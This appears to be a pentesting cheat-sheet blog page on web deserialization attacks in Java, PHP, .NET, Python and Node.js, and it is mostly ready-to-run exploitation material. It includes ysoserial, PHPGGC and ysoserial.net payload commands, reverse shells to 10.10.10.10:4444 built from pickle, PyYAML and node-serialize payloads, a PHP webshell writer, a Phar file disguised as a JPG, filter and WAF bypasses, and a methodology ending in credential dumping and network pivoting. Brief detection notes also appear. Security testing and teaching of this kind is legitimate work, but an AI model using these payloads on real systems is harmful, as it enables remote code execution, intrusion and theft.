ᛉ Yggdrasil

Web

Web Deserialization Attacks

15 Sep 2026 · 3,357 words · 15 min

Contents

Legend: [JAVA] = Java deserialization | [PHP] = PHP deserialization | [NET] = .NET deserialization | [PYTHON] = Python deserialization | [GADGET] = Gadget chain | [RCE] = Remote Code Execution | [BYPASS] = Filter bypass | [TOOL] = Tool usage | [DETECT] = Detection


1. Serialization Fundamentals

What it means: Serialization converts an in-memory object into a storable/ transmittable format (bytes, JSON, XML, binary). Deserialization reverses this — reconstructing the object from that format. When applications deserialize attacker-controlled data without validation, attackers can inject malicious objects that execute code during reconstruction.


1.1 The Core Vulnerability

Normal Flow:
Object → [Serialize] → bytes/string → [store/transmit] → [Deserialize] → Object

Vulnerable Flow:
Attacker crafts evil object → [Serialize] → inject into request
→ Application deserializes → MAGIC METHODS EXECUTE → RCE!

Why it's dangerous:
├── Deserialization often triggers "magic methods" automatically
├── Magic methods can call arbitrary code during object reconstruction
├── Gadget chains link innocent classes into exploit chains
└── No "exec()" call needed → uses trusted application classes!

1.2 Magic Methods by Language

Language Magic Method Trigger
──────────────────────────────────────────────────────────────────
Java readObject() Called during deserialization
Java readResolve() Called after readObject()
Java finalize() Called on garbage collection
PHP wakeup() Called on unserialize()
PHP __destruct() Called on object destruction
PHP __toString() Called when object used as string
.NET OnDeserialized() Called after deserialization
.NET IDeserializationCB Callback interface
Python __reduce
() Called during pickle.loads()
Ruby marshal_load() Called during Marshal.load()
Node.js (prototype chain) Prototype pollution on parse


2. Java Deserialization

What it means: Java's ObjectInputStream.readObject() is the most famous and historically impactful deserialization vulnerability. It automatically triggers readObject() on deserialized classes — if the classpath contains vulnerable "gadget" classes (Apache Commons Collections, Spring, etc.), attackers chain them to achieve RCE with zero interaction.


2.1 Java Serialized Object Identification

# Java serialized objects ALWAYS start with:
# Magic bytes: AC ED (hex) = 0xACED
# Version:     00 05 (hex)
# Base64:      rO0AB...

# In HTTP traffic, look for:
# ├── Content-Type: application/x-java-serialized-object
# ├── Cookies containing "rO0AB..." (base64 of AC ED 00 05)
# ├── POST body with binary starting 0xACED0005
# ├── ViewState parameters
# └── RMI/JMX endpoints

# Quick check:
echo "rO0AB..." | base64 -d | xxd | head
# Should show: ac ed 00 05 ...

# Or:
file suspicious_data.bin
# "Java serialization data"

# String grep in traffic:
grep -a "rO0AB\|AAEAAAD\|aced0005" traffic.pcap

2.2 Gadget Chains

What is a Gadget Chain:
A sequence of legitimate classes in the application's classpath
that, when chained together during deserialization,
ultimately executes arbitrary OS commands.

Example (Apache Commons Collections):
readObject()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.exec("calc.exe") ← OS command!

Each class is legitimate — no malicious code in classpath!
The CHAIN is what causes exploitation.

Common Gadget Libraries:
├── CommonsCollections 1-7 (Apache Commons Collections)
├── CommonsBeanutils1 (Apache Commons BeanUtils)
├── Spring1, Spring2 (Spring Framework)
├── Hibernate1 (Hibernate ORM)
├── ROME (RSS/Atom feed library)
├── Groovy1 (Groovy runtime)
├── JBossInterceptors (JBoss)
└── Jdk7u21 (JDK itself!)

2.3 ysoserial — The Java Deserialization Tool

# ─── Download ───
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# ─── List all available gadget chains ───
java -jar ysoserial-all.jar

# ─── Generate payload ───
# Syntax: java -jar ysoserial.jar <GADGET_CHAIN> '<COMMAND>'

# Ping test (confirm RCE):
java -jar ysoserial-all.jar CommonsCollections6 'ping -c 1 10.10.10.10' > payload.ser

# Reverse shell:
java -jar ysoserial-all.jar CommonsCollections6 \
    'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjEwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
    > payload.ser

# Windows reverse shell:
java -jar ysoserial-all.jar CommonsCollections6 \
    'cmd /c powershell -enc <BASE64_PAYLOAD>' > payload.ser

# Add user:
java -jar ysoserial-all.jar CommonsCollections6 \
    'net user hacker P@ss123 /add' > payload.ser

# ─── Send payload to endpoint ───
# via curl:
curl -s http://target.com/endpoint \
     -X POST \
     -H "Content-Type: application/x-java-serialized-object" \
     --data-binary @payload.ser

# ─── Base64 encode for cookie/parameter injection ───
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0 > payload.b64
# Use in: Cookie: session=<BASE64>
#         POST param: data=<BASE64>

2.4 Identifying the Right Gadget Chain

# ─── Use ysoserial with multiple chains + Burp Collaborator ───
# Strategy: try each chain, monitor for DNS/HTTP callback

COLLAB_URL="YOUR.burpcollaborator.net"
CHAINS=("CommonsCollections1" "CommonsCollections2" "CommonsCollections3"
        "CommonsCollections4" "CommonsCollections5" "CommonsCollections6"
        "CommonsCollections7" "CommonsBeanutils1" "Spring1" "Spring2"
        "ROME" "Groovy1" "Hibernate1" "Jdk7u21")

for chain in "${CHAINS[@]}"; do
    echo "[*] Testing: $chain"
    java -jar ysoserial-all.jar $chain "nslookup $chain.$COLLAB_URL" 2>/dev/null \
        | curl -s -X POST http://target.com/vulnerable \
               -H "Content-Type: application/x-java-serialized-object" \
               --data-binary @- > /dev/null
    sleep 1
done

# Check Burp Collaborator → which DNS callback has your chain name!
# → Confirms vulnerable chain!

2.5 Java Deserialization via JNDI (Log4Shell Adjacent)

# ─── JNDI Injection in deserialization context ───
# Some gadget chains trigger JNDI lookups:

# Set up JNDI exploit server (marshalsec):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
     marshalsec.jndi.LDAPRefServer "http://10.10.10.10:8888/#Exploit"

# Serve malicious class:
python3 -m http.server 8888  # serve Exploit.class

# Payload that triggers JNDI lookup:
java -jar ysoserial-all.jar JNDI 'ldap://10.10.10.10:1389/Exploit' > payload.ser

2.6 Java RMI / JMX Attacks

# ─── Scan for RMI endpoints ───
nmap -sV -p 1099,1098,4444,11099 target.com
# Port 1099 = default RMI registry!

# ─── Attack RMI with ysoserial ───
# RMI deserializes objects automatically!
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit \
     target.com 1099 CommonsCollections6 'id'

# ─── JMX deserialization ───
java -jar jmet.jar -Q order -O target.com -P 9999 CommonsCollections6 'id'

3. PHP Deserialization

What it means: PHP's unserialize() function reconstructs PHP objects from a serialized string. When it processes attacker-supplied input, it instantiates objects and calls magic methods like __wakeup() and __destruct(), which in many frameworks contain dangerous operations (file writes, eval, system calls) that form exploit chains.


3.1 PHP Serialization Format

// PHP serialized format:
// O:classname_length:"classname":prop_count:{properties}

// Example: Normal user object
O:4:"User":2:{
    s:8:"username"; s:5:"admin";
    s:8:"password"; s:8:"password";
}

// Types:
// b:1        → boolean true
// b:0        → boolean false
// i:42       → integer 42
// d:3.14     → float 3.14
// s:5:"hello" → string "hello"
// a:2:{...}  → array with 2 elements
// O:4:"User":1:{...} → Object of class "User" with 1 property
// N          → NULL

// Identifying in requests:
// O:  → object serialization
// a:  → array serialization
// Base64 of above in cookies/params

3.2 PHP Magic Methods for Exploitation

<?php
// __wakeup()   → called when unserialize() runs
// __destruct() → called when object is destroyed (end of script)
// __toString() → called when object treated as string

// Vulnerable example:
class FileHandler {
    public $filename;
    public $data;

    public function __destruct() {
        // Called automatically when object is destroyed!
        file_put_contents($this->filename, $this->data);
        // → Attacker controls $filename and $data!
        // → Write webshell to disk!
    }
}

// In vulnerable endpoint:
$obj = unserialize($_COOKIE['data']);  // ← UNSAFE!
// PHP deserializes → creates FileHandler → __destruct() writes file!

3.3 Crafting PHP Exploit Payloads

<?php
// ─── Exploit: Write webshell via __destruct ───
class FileHandler {
    public $filename = "/var/www/html/shell.php";
    public $data     = "<?php system(\$_GET['cmd']); ?>";
}

$evil = new FileHandler();
$serialized = serialize($evil);
echo $serialized;
// O:11:"FileHandler":2:{
//   s:8:"filename";s:22:"/var/www/html/shell.php";
//   s:4:"data";s:30:"<?php system($_GET['cmd']); ?>";}

// URL encode and send in cookie:
// Cookie: data=O%3A11%3A%22FileHandler%22...

// After deserialization → shell at /shell.php?cmd=id

3.4 PHP Object Injection in Frameworks

# ─── Laravel (PHPGGC tool) ───
# PHPGGC = PHP Generic Gadget Chains (like ysoserial for PHP)
git clone https://github.com/ambionics/phpggc.git
cd phpggc

# List available chains:
php phpggc -l

# Generate payload:
php phpggc Laravel/RCE1 system 'id'
php phpggc Laravel/RCE4 system 'id' | base64
php phpggc Laravel/RCE9 system 'id'  # newer Laravel versions

# Symfony:
php phpggc Symfony/RCE1 exec 'id'
php phpggc Symfony/RCE4 system 'id'

# WordPress:
php phpggc WordPress/RCE1 exec 'id'

# Guzzle (HTTP client):
php phpggc Guzzle/FW1 write /var/www/html/shell.php '<?php system($_GET[c]); ?>'

# Monolog (logging):
php phpggc Monolog/RCE1 system 'id'
php phpggc Monolog/RCE2 system 'id'

# ─── Generate + encode + send ───
php phpggc Laravel/RCE9 system 'id' -b  # -b = base64 encode
php phpggc Laravel/RCE9 system 'id' -e  # -e = URL encode
php phpggc Laravel/RCE9 system 'id' -j  # -j = JSON encode

3.5 Phar Deserialization

// Phar files trigger deserialization when used with stream wrappers!
// Any file operation (file_exists, is_file, etc.) on phar:// triggers unserialize!

// ─── Create malicious Phar ───
<?php
class FileHandler {
    public $filename = "/var/www/html/shell.php";
    public $data     = "<?php system(\$_GET['cmd']); ?>";
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$obj = new FileHandler();
$phar->setMetadata($obj);   // ← malicious object stored here!
$phar->stopBuffering();
rename("evil.phar", "evil.jpg");  // disguise as image!

// ─── Trigger via vulnerable file operation ───
// Upload evil.jpg → server uses phar:// wrapper:
// file_exists("phar:///uploads/evil.jpg")
// → Phar metadata deserialized → FileHandler::__destruct() runs!
// → Webshell written!

4. .NET Deserialization

What it means: .NET deserialization vulnerabilities arise from unsafe use of BinaryFormatter, XmlSerializer, DataContractSerializer, and JSON.NET with TypeNameHandling. Microsoft has deprecated BinaryFormatter entirely due to its inherent insecurity — but legacy .NET apps still use it heavily.


4.1 .NET Serialization Formats

Format Class Risk
──────────────────────────────────────────────────────────────────
Binary serialization BinaryFormatter CRITICAL (deprecated)
SOAP SoapFormatter CRITICAL
XML remoting LosFormatter HIGH
JSON (with type info) Json.NET TypeNameHandling HIGH
XML XmlSerializer MEDIUM
Data contract DataContractSerializer MEDIUM
ViewState LosFormatter HIGH (ASP.NET)

ASP.NET ViewState:
├── Stored in hidden form field __VIEWSTATE
├── Base64 encoded, sometimes HMAC signed
├── If HMAC key leaked/guessable → forge ViewState → RCE!
└── Look for: machineKey in web.config

4.2 ysoserial.net — .NET Deserialization Tool

# ─── Download ───
# https://github.com/pwntester/ysoserial.net

# ─── List formatters and gadgets ───
.\ysoserial.exe -l   # list gadget chains
.\ysoserial.exe -f   # list formatters

# ─── Generate BinaryFormatter payload ───
.\ysoserial.exe -g TypeConfuseDelegate \
                -f BinaryFormatter \
                -c "whoami > C:\inetpub\wwwroot\output.txt"

# ─── ViewState exploitation ───
# If you have machineKey from web.config:
.\ysoserial.exe -g TypeConfuseDelegate \
                -f LosFormatter \
                -c "whoami" \
                --isviewstate \
                --validationalg="SHA1" \
                --validationkey="<MACHINE_KEY>" \
                --generator="<GENERATOR_ID>"

# ─── JSON.NET with TypeNameHandling ───
# Vulnerable JSON.NET setting:
# JsonConvert.DeserializeObject(data, new JsonSerializerSettings {
#     TypeNameHandling = TypeNameHandling.All  ← UNSAFE!
# });

# Payload:
.\ysoserial.exe -g ObjectDataProvider \
                -f Json.Net \
                -c "whoami"

# Manually crafted JSON.NET payload:
{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib",
        "$values":["cmd","/c whoami > C:\\output.txt"]
    },
    "ObjectInstance":{
        "$type":"System.Diagnostics.Process, System"
    }
}

4.3 ASP.NET ViewState Exploitation

# ─── Find machineKey in web.config ───
# Look for:
# <machineKey validationKey="AAAA..." decryptionKey="BBBB..." ... />
# Locations:
# C:\inetpub\wwwroot\web.config
# C:\Windows\Microsoft.NET\Framework\v4.0\Config\machine.config

# ─── ViewState without encryption (validationKey disabled) ───
# Check if ViewState is signed:
# __VIEWSTATE + __VIEWSTATEGENERATOR = look for __VIEWSTATEMAC=

# ─── Exploit via ysoserial.net ───
.\ysoserial.exe -g TypeConfuseDelegate \
                -f LosFormatter \
                -c "powershell -enc <B64_REVERSE_SHELL>" \
                --isviewstate \
                --validationalg="SHA1" \
                --validationkey="<KEY_FROM_WEBCONFIG>"

# ─── Send forged ViewState ───
# In Burp: intercept POST request
# Replace __VIEWSTATE value with generated payload
# Forward → RCE!

5. Python Deserialization

What it means: Python's pickle module is notoriously dangerous — pickle.loads() executes whatever __reduce__() returns during deserialization, giving direct OS command execution. PyYAML's yaml.load() without Loader=SafeLoader is similarly exploitable via Python object tags.


5.1 Pickle Exploitation

# ─── How pickle RCE works ───
import pickle, os

class EvilPickle:
    def __reduce__(self):
        # __reduce__ ALWAYS called during unpickling!
        return (os.system, ("id",))

payload = pickle.dumps(EvilPickle())
# pickle.loads(payload) → calls os.system("id") → RCE!

# ─── Reverse shell pickle payload ───
import pickle, os, base64

class ReverseShell:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(ReverseShell())
encoded = base64.b64encode(payload).decode()
print(f"Payload (base64): {encoded}")
# Send in cookie/POST param that gets pickle.loads()'d

# ─── Pickle opcode manual payload ───
# Even without defining a class:
import pickle
payload = b'\x80\x04\x95)\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x8c\x02id\x94\x85\x94R\x94.'
pickle.loads(payload)  # → executes "id"

5.2 PyYAML Exploitation

# ─── Vulnerable yaml.load() ───
import yaml

# BAD (vulnerable):
data = yaml.load(user_input)           # no Loader!
data = yaml.load(user_input, Loader=yaml.Loader)  # unsafe Loader!

# SAFE:
data = yaml.safe_load(user_input)
data = yaml.load(user_input, Loader=yaml.SafeLoader)

# ─── Exploit payload ───
# yaml.load() with unsafe Loader executes Python constructors!

payload = """
!!python/object/apply:os.system
- "id"
"""
yaml.load(payload, Loader=yaml.Loader)  # → executes "id"!

# Reverse shell via PyYAML:
payload = """
!!python/object/apply:subprocess.Popen
- - bash
  - -c
  - bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
"""

# ─── Common endpoint: YAML config file upload ───
# Apps that accept YAML config files and parse with yaml.load()
# are directly exploitable!

6. Node.js Deserialization

What it means: Node.js deserialization attacks typically target node-serialize (CVE-2017-5941) and JSON-based prototype pollution. The node-serialize library executes Immediately Invoked Function Expressions (IIFE) embedded in serialized objects, giving direct RCE.


6.1 node-serialize RCE (CVE-2017-5941)

// ─── Vulnerable code ───
var serialize = require('node-serialize');
var payload   = req.cookies.profile;    // attacker-controlled!
var obj       = serialize.unserialize(payload);  // ← VULNERABLE!

// ─── node-serialize IIFE trick ───
// Normal serialized object:
// {"username":"admin"}

// Malicious payload with IIFE:
// {"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
//                                                                            ^^
//                                     IIFE — executes immediately on deserialization!

// ─── Generate payload ───
var serialize = require('node-serialize');

var obj = {
    rce: function() {
        require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"');
    }
};

var payload = serialize.serialize(obj);
// Add () to make it IIFE — auto-execute on deserialization:
payload = payload.replace('"}', '"()}');
console.log(payload);
// {"rce":"_$$ND_FUNC$$_function(){...}()"}
//                                      ^^ added () = IIFE!

// Base64 encode → send as cookie:
console.log(Buffer.from(payload).toString('base64'));

6.2 Prototype Pollution

// ─── Prototype pollution via JSON merge/clone ───
// Vulnerable merge function:
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Malicious payload:
const payload = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, payload);
// → Object.prototype.isAdmin = true
// → ALL objects now have isAdmin = true!

// In HTTP request:
// POST body: {"__proto__":{"isAdmin":true}}
// → Pollutes prototype → auth bypass!

// RCE via prototype pollution (in specific frameworks):
// {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').exec('id')//"}}

7. Identification & Discovery

7.1 Identifying Deserialization Endpoints

# ─── HTTP Traffic Analysis ───

# Java: look for magic bytes in base64
grep -r "rO0AB\|AAEAAAD" burp_history.txt

# PHP: look for serialization markers
grep -r "O:[0-9]\+:\|a:[0-9]\+:\|s:[0-9]\+:" burp_history.txt

# .NET ViewState:
grep "__VIEWSTATE\|__EVENTVALIDATION" response.html

# Python pickle (base64):
# Pickle magic bytes: \x80\x04 (protocol 4), \x80\x02 (protocol 2)
# Base64 of \x80\x04: gASV...
# Base64 of \x80\x02: gAJV...

# ─── Common locations to test ───
# ├── Cookies (session tokens, remember-me tokens)
# ├── POST body parameters
# ├── HTTP headers (X-Auth-Token, Authorization)
# ├── Hidden form fields (__VIEWSTATE)
# ├── API endpoints accepting binary/JSON with type info
# ├── File upload endpoints (phar, Java serialized files)
# └── WebSocket messages

# ─── Look for content-type headers ───
Content-Type: application/x-java-serialized-object
Content-Type: application/x-www-form-urlencoded  (with serialized data in params)
Content-Type: application/json  (with $type fields → .NET TypeNameHandling!)

7.2 Automated Scanning

# ─── Burp Suite Pro ───
# Burp Scanner → "Insecure deserialization" category
# Burp Extension: Java Deserialization Scanner (Portswigger BApp Store)
# Burp Extension: Freddy (supports Java, .NET, PHP, Python, Ruby, Node)

# ─── Freddy (Burp Extension) ───
# Install via BApp store → enables passive + active scan
# Automatically detects and exploits deserialization in all languages!
# Set Collaborator → runs all gadget chains automatically!

# ─── gadgetinspector ───
# Identifies gadget chains in Java application JARs:
java -jar gadget-inspector.jar app.jar

# ─── DeserLab (Java RMI scanner) ───
java -jar DeserLab.jar -server target.com 1099

# ─── Nuclei templates ───
nuclei -t deserialization/ -u https://target.com

8. Tools Reference

8.1 Complete Tools List

Tool Language Use
──────────────────────────────────────────────────────────────────────
ysoserial Java Generate Java deserialization payloads
ysoserial.net .NET Generate .NET deserialization payloads
PHPGGC PHP PHP gadget chain generator
pickle-tools Python Pickle payload crafting
marshalsec Java JNDI/RMI exploit server
Burp Freddy All Automated deserialization scanner
GadgetInspector Java Find gadget chains in Java apps
Java Deserialization
Scanner (Burp) Java Burp active/passive scanner
SerializationDumper Java Analyze Java serialized data
ExploitDB templates All Known CVE exploits

8.2 SerializationDumper — Analyzing Java Serialized Data

# Analyze unknown Java serialized data:
java -jar SerializationDumper.jar rO0ABXVyABNbTGphdmEu...

# From file:
java -jar SerializationDumper.jar -r serialized_data.bin

# Output shows full object structure:
# STREAM_MAGIC - 0xac ed
# STREAM_VERSION - 0x00 05
# Contents:
#   TC_OBJECT - 0x73
#     TC_CLASSDESC - 0x72
#       Class name - java.util.HashMap
#       ...

9. Filter Bypasses

9.1 Java Deserialization Filter Bypasses

# ─── JEP 290 SerialFilter bypass ───
# Java 9+ introduced deserialization filters
# CommonsCollections chains may be blocked

# Use newer chains that bypass filters:
java -jar ysoserial-all.jar CommonsCollections6 'id' > payload.ser
# CC6 often bypasses filters that block CC1

# ─── Custom class not in blocklist ───
# If common gadget classes are blocked → find app-specific gadgets
# Use GadgetInspector to find custom chains!

# ─── Encoding bypasses ───
# Some filters check raw bytes but miss encoded versions
# Try: GZIP compressed + base64
java -jar ysoserial-all.jar CC6 'id' | gzip | base64 -w0

# ─── Class name obfuscation ───
# Some WAFs block based on class name strings
# Use reflection-based chains that avoid class name strings in payload

# ─── Alternative transports ───
# If HTTP endpoint filters → try RMI, JMX, or T3 (WebLogic) protocol

9.2 PHP Unserialize Filter Bypasses

// ─── __wakeup() bypass (CVE-2016-7124) ───
// In PHP < 5.6.25 / < 7.0.10:
// Setting property count HIGHER than actual count skips __wakeup()!

// Normal:  O:4:"User":1:{s:4:"name";s:5:"admin";}
// Bypass:  O:4:"User":2:{s:4:"name";s:5:"admin";}
//                     ^
//         count = 2 but only 1 property → __wakeup() SKIPPED!
//         Only __destruct() runs!

// ─── Nested object injection ───
// If input is validated as array → nest object inside array:
a:1:{i:0;O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}

// ─── String reference to bypass regex ───
// If WAF regex blocks "O:" → use references:
// Replace string with reference to already-declared string:
a:2:{i:0;s:6:"system";i:1;R:1;}  // R:1 = reference to first element

9.3 Python Pickle Bypass

# ─── Obfuscated pickle using opcodes ───
import pickle, pickletools

# Direct opcode crafting (bypasses string detection):
payload = (
    b'\x80\x04'           # PROTO 4
    b'\x95'               # FRAME
    b'\x1b\x00\x00\x00\x00\x00\x00\x00'  # frame length
    b'\x8c\x02os'         # SHORT_BINUNICODE 'os'
    b'\x8c\x06system'     # SHORT_BINUNICODE 'system'
    b'\x93'               # STACK_GLOBAL
    b'\x8c\x02id'         # SHORT_BINUNICODE 'id'
    b'\x85'               # TUPLE1
    b'\x94'               # MEMOIZE
    b'R'                  # REDUCE
    b'.'                  # STOP
)

# ─── Using __reduce_ex__ instead of __reduce__ ───
class Exploit:
    def __reduce_ex__(self, protocol):
        return (os.system, ("id",))
# Some filters check for __reduce__ but miss __reduce_ex__!

10. Complete Cheat Sheet

10.1 Language Quick Reference

Language Serialization Tool Magic Method
────────────────────────────────────────────────────────────────────
Java ObjectInputStream ysoserial readObject()
PHP serialize() PHPGGC wakeup(),_ _destruct()
.NET BinaryFormatter ysoserial.net OnDeserialized()
Python pickle.dumps() manual __reduce
()
PyYAML yaml.load() manual !!python/object/
Node.js node-serialize manual IIFE in NDFUNCNDF​UNC
Ruby Marshal.dump() manual marshal_load()

10.2 Magic Byte Quick Reference

Format Magic Bytes (hex) Base64 prefix
──────────────────────────────────────────────────────────────
Java serialized AC ED 00 05 rO0AB
.NET BinaryFormat 00 01 00 00 00 AAEAAAD
Python pickle v2 80 02 gAJ
Python pickle v4 80 04 gASV
PHP serialized 4F 3A (O:) Tz o: (raw)
Gzip compressed 1F 8B H4sI

10.3 Methodology

Step 1: IDENTIFY
├── Find parameters/cookies with serialized data (magic bytes, base64)
├── Identify language/framework from response headers + errors
├── Map all deserialization endpoints

Step 2: PROBE
├── Confirm deserialization occurs (error-based detection)
├── Use Burp Freddy for automated detection
├── Send malformed data → look for deserialization exceptions

Step 3: IDENTIFY GADGET CHAIN
├── Java: try all ysoserial chains with Collaborator callback
├── PHP: use PHPGGC with framework-specific chains
├── .NET: try ysoserial.net with multiple formatters
├── Python: directly exploit reduce

Step 4: EXPLOIT
├── Confirm with ping/nslookup (OOB)
├── Execute reverse shell
├── Escalate to full RCE → privesc

Step 5: POST-EXPLOIT
├── Dump credentials / config files
├── Pivot to internal network
└── Document gadget chain for report

10.4 One-Line Payloads

# Java — RCE via CommonsCollections6:
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0

# PHP — Laravel RCE:
php phpggc Laravel/RCE9 system 'id' -b

# .NET — ViewState RCE:
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "whoami" --isviewstate

# Python — Pickle reverse shell:
python3 -c "import pickle,os,base64; print(base64.b64encode(pickle.dumps(type('x',(object,),{'__reduce__':lambda s:(os.system,('bash -i >& /dev/tcp/10.10.10.10/4444 0>&1',))})())).decode())"

# Node.js — IIFE RCE:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

← Web top ↑